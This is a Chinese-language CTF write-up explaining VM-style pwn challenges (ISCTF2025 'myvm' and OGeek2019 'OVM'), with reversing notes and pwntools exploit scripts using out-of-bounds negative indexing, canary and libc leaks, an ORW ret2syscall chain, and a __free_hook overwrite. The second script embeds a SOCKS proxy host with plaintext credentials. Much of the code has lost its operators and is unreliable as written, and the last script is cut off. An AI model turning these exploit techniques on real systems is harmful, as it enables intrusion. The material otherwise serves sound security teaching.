简单vmpwn的思路

简单vmpwn的思路 总体上的思路就是我们输入各种opcode让程序进行数值上的操作跟堆题比较像对数值进行操作来控制程序流。漏洞通常是越界写。难点主要在理解程序逻辑上。下面我们看例题ISCTF2025——myvm开了沙盒禁了execve开了canary与pie。接下来放ida看看如果是第一次写vmpwn看见这个就有点懵了我个人观点是抓住我们的输入跟着我们的输入走看的会清晰一点。我们的输入第一次在scanf输入进v7了然后进了一个函数我们进去看看我们的输入在形参a1上a1给了v2指向v2的指针是v3v4是malloc的堆上v4指向我们输入的指针。这里主要看上面的声明这两个指针都是指向char类型的*之后都只有一个字符。也就是这里把我们输入分成了4个部分比如0x12345678。0x78就在 *v4的地方*(v41)就是0x56后面以此类推。这些有什么用我们得看后面了。最后返回值是v4。这里reg是在bss段上的数组类型是long。首先这个数组是有符号的然后这个数组是8字节大小也就说明一个数组成员可以放下一个完整的指针。接下来看我们输入这里的ptr就是我们刚才的v4直接v4决定了我们虚拟机接下来的操作操作就是下面的- * / ^已经后面的。接下来的(v41)可以看见都在表达式左边也就是显然就是赋值的目标地址。后面ptr2ptr3就是这写表达式的左右值。后面这里的v9是在栈上的而且这个赋值是v3v6 v4v6--。这里是先赋值再自增/自减也就有了栈溢出与泄露。这里的操作其实就是pop与push。即把栈上数据赋给bss段上把bss段上数据写入栈。至此我们的逆向也就完成了。在我们exp上可以定义这个函数def code(choice,tar,a,s):paychoice(tar8)(a16)(s24)sl(str(pay))这里我们可以看看汇编.text:0000000000000D02 mov rax, [rbpptr] ; jumptable 0000000000000D00 case 0.text:0000000000000D09 movzx eax, word ptr [rax4].text:0000000000000D0D cwde.text:0000000000000D0E cdqe这里如果我们输入\xfc就会变成补码形式因为符号位拓展了。这样就可以数组越界访问了。reg数组在bss段上通过负索引可以访问got表有了got表就有libc基地址了有了libc就可以打ret2syscall的ORW了。通过pop与push操作可以泄露canary与程序基地址。这里关键是open的./flag字符串怎么写。要么我们通过reg的加减操作写出来./flag的ascii码(注意小端序)然后通过程序基地址偏移找出来存放这个字符串的地址。要么我们就调用read往bss段上写一个./flag。我采用的是第二种。这题因为我们不能在bss段上输入数据所以需要定义一个能生成任意数字的代码我这里个人选择的是逐位累加可能比较慢。各位可以优化一下。总体思路就是负索引泄露libcpush与pop泄露canary与程序基地址赋给返回地址打ret2syscall的ORW。exp如下#!/usr/bin/env python3from pwn import *import sysfrom ctypes import *#from pwncli import *# cli_script()#from ae64 import AE64#from pymao import *context.log_leveldebugcontext.archamd64elfELF(./pwn)libc ELF(./libc.so.6)# libc1cdll.LoadLibrary(./libc.so.6)li./libc.so.6flag 1if flag:p remote(challenge.imxbt.cn,30873)else:p process(./pwn)sa lambda s,n : p.sendafter(s,n)sla lambda s,n : p.sendlineafter(s,n)sl lambda s : p.sendline(s)slr lambda s : p.sendline(str(s))sd lambda s : p.send(s)sdr lambda s : p.send(str(s))rc lambda n : p.recv(n)ru lambda s : p.recvuntil(s)ti lambda : p.interactive()rcl lambda : p.recvline()leak lambda name,addr :log.success(name---hex(addr))u6 lambda a : u64(rc(a).ljust(8,b\x00).strip())i6 lambda a : int(a,16)def csu():payp64(0)p64(0)p64(1)return paydef ph(s):print(hex(s))def dbg():# context.terminal [tmux, splitw, -h]gdb.attach(p)#maybe gdbscriptset debug-file-directory ./starpause()def code(choice,tar,a,s):paychoice(tar8)(a16)(s24)sl(str(pay))code(3,0,0xfc,0xfc)#tar:0x21b780code(0,1,0,0)#2code(2,2,1,1)#4code(2,3,2,2)#0x10code(4,4,0,3)#0x10000code(4,7,4,2)#0x100000code(5,5,4,2)#0x1000code(5,6,5,2)#0x100def add(addr,a,b):code(0,addr,a,b)def sub(addr,a,b):code(1,addr,a,b)def mul(addr,a,b):code(2,addr,a,b)def dev(addr,a,b):code(3,addr,a,b)def shl(addr,a,b):code(4,addr,a,b)def shr(addr,a,b):code(5,addr,a,b)def pop(addr):pay(addr8)7sl(str(pay))def push(addr):pay(addr8)8sl(str(pay))def num(addr,tar):atar0xfb(tar4)0xfc(tar8)0xfd(tar12)0xfe(tar16)0xff(tar20)0xffor i in range(a):add(10,10,0)#0xffor g in range(b):add(11,11,3)#0xfffor h in range(c):add(12,12,6)#0xffffor k in range(d):add(13,13,5)#0xfffffor p in range(e):add(14,14,4)#0xffffffor l in range(f):add(15,15,7)#0xffffffadd(11,10,11)add(12,11,12)add(13,12,13)add(14,13,14)add(addr,14,15)sub(10,10,10)sub(11,11,11)sub(12,12,12)sub(13,13,13)sub(14,14,14)sub(15,15,15)num(16,0x21b780)sub(16,0xf8,16)rax0x45eb0rdi0x2a3e5rsi0x2be51rdb0x11f2e7end0x91316num(17,rax)add(17,17,16)num(18,rdi)add(18,18,16)num(19,rsi)add(19,19,16)num(20,rdb)add(20,20,16)num(21,end)add(21,21,16)for m in range(0x201):pop(22)push(22)pop(22)pop(22)pop(22)pop(22)pop(22)push(25)push(22)num(29,0xc6c)sub(25,25,29)num(29,0x202470)add(25,25,29)num(30,0x338)sub(26,25,30)num(23,0x6761)num(24,0x6c66)num(27,0x2f2e)shl(23,23,3)shl(23,23,3)shl(24,24,3)add(23,23,24)add(27,27,23)add(24,0,1)#3pop(17)pop(1)pop(18)pop(26)pop(19)pop(36)pop(21)pop(17)pop(36)pop(18)pop(24)pop(19)pop(25)pop(20)pop(6)pop(6)pop(21)pop(17)pop(0)pop(18)pop(0)pop(19)pop(25)pop(20)pop(6)pop(6)pop(21)slr(9)ti()下面我们看第二个例题BUUCTF——[OGeek2019 Final]OVM这题逆向上复杂一点但是攻击更简单了各位可以看看gets师傅的讲解视频保护没怎么开glibc是2.23这题开始先申请了一个堆块后面读入两个数字第一个是索引第二个是bss段上另一个数组后面输入的是opencode的数量这里注意他是把这个数量放进循环里了我们输入的opencode数量要等于这个循环数。后面read往堆块里写值最后这个sendcomment用free释放了这个堆块。这里就有点奇怪了好端端的虚拟机要这个操作干什么呢我们进去看虚拟机的主逻辑。ssize_t __fastcall execute(int getcode){ssize_t code; // raxunsigned __int8 right; // [rsp18h] [rbp-8h]unsigned __int8 left; // [rsp19h] [rbp-7h]unsigned __int8 target; // [rsp1Ah] [rbp-6h]int n15; // [rsp1Ch] [rbp-4h]target (getcode 0xF0000u) 16;left (getcode 0xF00) 8;right getcode 0xF;code HIBYTE(getcode);//24if ( HIBYTE(getcode) 0x70 ){code reg;reg[target] reg[right] reg[left];return code;}if ( HIBYTE(getcode) 0x70u ){if ( HIBYTE(getcode) 0xB0 ){code reg;reg[target] reg[right] ^ reg[left];return code;}if ( HIBYTE(getcode) 0xB0u ){if ( HIBYTE(getcode) 0xD0 ){code reg;reg[target] reg[left] reg[right];return code;}if ( HIBYTE(getcode) 0xD0u ){if ( HIBYTE(getcode) 0xE0 ){running 0;if ( !stackcount )return write(1, EXIT\n, 5u);}else if ( HIBYTE(getcode) ! 0xFF ){return code;}running 0;for ( n15 0; n15 15; n15 )printf(R%d: %X\n, n15, reg[n15]);return write(1, HALT\n, 5u);}else if ( HIBYTE(getcode) 0xC0 ){code reg;reg[target] reg[left] reg[right];}}else{switch ( HIBYTE(getcode) ){case 0x90u:code reg;reg[target] reg[right] reg[left];break;case 0xA0u:code reg;reg[target] reg[right] | reg[left];break;case 0x80u:code reg;reg[target] reg[left] - reg[right];break;}}}else if ( HIBYTE(getcode) 0x30 ){code reg;reg[target] memory[reg[right]]; // 数组越界}else if ( HIBYTE(getcode) 0x30u ){switch ( HIBYTE(getcode) ){case 0x50u:LODWORD(code) stackcount;code code;stack[code] reg[target];break;case 0x60u:--stackcount;code reg;reg[target] stack[stackcount];break;case 0x40u:code memory;memory[reg[right]] reg[target]; // 数组越界break;}}else if ( HIBYTE(getcode) 0x10 ){code reg;reg[target] getcode;}else if ( HIBYTE(getcode) 0x20 ){code reg;reg[target] getcode 0;}return code;}这里我已经逆好了各位可以试着自己逆一下最后def的时候是这样的。def code(target,left,right,opcode):pay(left8)right(target16)(opcode24)sl(str(pay))后续整体上跟上一题差别注意在中国memory和reg是int类型数组他是4字节的。一个数组成员是放不下一个完整指针的。这题因为有show然后上面也说了read可以往一个堆块写数据最后会free这个堆块。我们先用负索引数组越界泄露libc。把原本是堆块的地址改成freehook-8的地址往其中写入/bin/sh字符串freehook的地址写入system的地址。这样我们就会free掉freehook-8。因为free时先看freehook里有没有值所以他不会触发free的检查也就不会报错。需要注意的就是这题可以往bss里写我们输入的一字节还是挺好的。exp如下#!/usr/bin/env python3from pwn import *import sysfrom ctypes import *#from pwncli import *import socks# cli_script()#from ae64 import AE64#from pymao import *context.log_leveldebugcontext.archamd64elfELF(./pwn)libcELF(./libc.so.6)socks.set_default_proxy(socks.SOCKS5,81.dart.ccsssc.com,25790,username1nkvap1o,passwordcl330rd,rdnsTrue)socket.socket socks.socksocketflag 0if flag:p remote(node5.buuoj.cn,28571)else:p process(./pwn)sa lambda s,n : p.sendafter(s,n)sla lambda s,n : p.sendlineafter(s,n)sl lambda s : p.sendline(s)slr lambda s : p.sendline(str(s))sd lambda s : p.send(s)sdr lambda s : p.send(str(s))rc lambda n : p.recv(n)ru lambda s : p.recvuntil(s)ti lambda : p.interactive()rcl lambda : p.recvline()leak lambda name,addr :log.success(name---hex(addr))u6 lambda a : u64(rc(a).ljust(8,b\x00).strip())i6 lambda a : int(a,16)def csu():payp64(0)p64(0)p64(1)return paydef ph(s):print(hex(s))def dbg():# context.terminal [tmux, splitw, -h]gdb.attach(p)#maybe gdbscriptset debug-file-directory ./starpause()def code(target,left,right,opcode):pay(left8)right(target16)(opcode